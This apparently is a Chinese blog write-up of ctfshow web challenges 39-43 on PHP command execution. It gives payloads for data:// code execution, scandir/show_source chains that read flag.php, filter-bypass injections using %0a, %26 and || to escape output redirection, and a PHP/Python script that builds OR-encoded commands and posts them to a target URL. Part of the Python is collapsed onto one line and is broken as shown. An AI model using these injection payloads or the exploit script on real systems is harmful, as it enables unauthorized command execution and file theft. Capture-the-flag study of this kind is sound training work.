ctfshow web入门 命令执行39-43
-
web39

这个地方被加上了.php后缀
官方解释data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用,这个c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==不可用的原因是,base64解码不了,因为后面会加上php后缀
payload:
c=data://text/plain,<?php%20system("nl%20fla*");?>
2.web40

这题过滤了很多符号
特别注意这题过滤的是中文括号而非英文括号
英文括号: \\(\\)
中文括号:\\(\\)
show_source,highlight_file高亮显示文件,next是下一个元素。array_reverse是反向输出,pos是输出当前元素的值,localeconv是返回包含本地数字及货币格式信息的数组,scandir是列出指定路径的文件和目录,dirname是去掉文件名后的目录名,__FILE__表示当前文件的绝对路径
使用第一个时,首先查看目录下但前有哪些文件
c=print_r(scandir(dirname(__FILE__)));

利用array_reverse,next函数使当前目录只有flag.php
c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));

最后读取该目录下的文件源码
c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));
payload:
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));
3.web41

过滤了很多运算符号,但是没有过滤|或运算
生成可用字符的集合
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) { if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\\^|\\+|\\~|\\$|\\[|\\]|\\{|\\}|\\&|\\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";}else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\\n";
}
}}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg: python exp.py http://ctf.show/")print("="*50)exit(0)
url=argv[1]
def action(arg):s1=""s2=""for i in arg:f=open("rce_or.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\\""+s1+"\\"|\\""+s2+"\\")"return(output)while True:param=action(input("\\n[+] your function:") )+action(input("[+] your command:"))data={'c':urllib.parse.unquote(param)}r=requests.post(url,data=data)print("\\n[*] result:\\n"+r.text)
4.web42

这题 空格>/dev/null 2>&1,错误的正确的都重定向到空设备里,说白了就是重定向这里的命令执行结果不管命令是否执行成功,都不会又任何结果输出到屏幕上
linux 0为标准输入
linux 1为标准输出
linux 2为标准错误输出
linux管道符:
; 执行完前面的在执行后面的,代表此命令的结束
| 异或 前面语句可真可假,只会显示后面执行的命令结果
|| 或 前面语句为假时,才会执行后面的命令
& 与 前面语句可真可假,两个命令都会执行
&& 并且 前面语句只能为真,两个命令都会执行
command1&command2 两个命令同时执行
command1;command2不管前面的命令执行成功与否,后面的命令继续执行
command1&&command2只有前面的命令执行成功了,后面才能继续执行
&&不管有没有空格都能执行,因为&&只有前面的命令执行成功了,后面才能继续执行和||类似的意思,这两个管道符都是把后面的重定向分开了,跟后面的重定向没有关系
&没有空格是执行不了的,当有空格时>/dev/null 2>&1,才相当于1>/dev/null 2>&1


payload:
c=nl flag.php; #已跳出重定向
c=nl flag.php|| #前面为真时,不会执行后面的命令
c=nl flag.php%0a #%0a代表换行符
c=nl flag.php%26%26 #%26%26 url编码代表&&
c=nl flag.php%26 #%26 url编码代表&
5.web43

这题过滤了;和cat
payload:
c=nl flag.php|| #前面为真时,不会执行后面的命令
c=nl flag.php%0a #%0a代表换行符
c=nl flag.php%26%26 #%26%26 url编码代表&&
c=nl flag.php%26 #%26 url编码代表&
参考文章:
(12条消息) ctfshow web入门 命令执行部分 (37-40)_yu22x的博客-CSDN博客
(12条消息) [CTFSHOW]命令执行_ctfshow 命令执行_Y4tacker的博客-CSDN博客
web41脚本
https://blog.csdn.net/miuzzx/article/details/108569080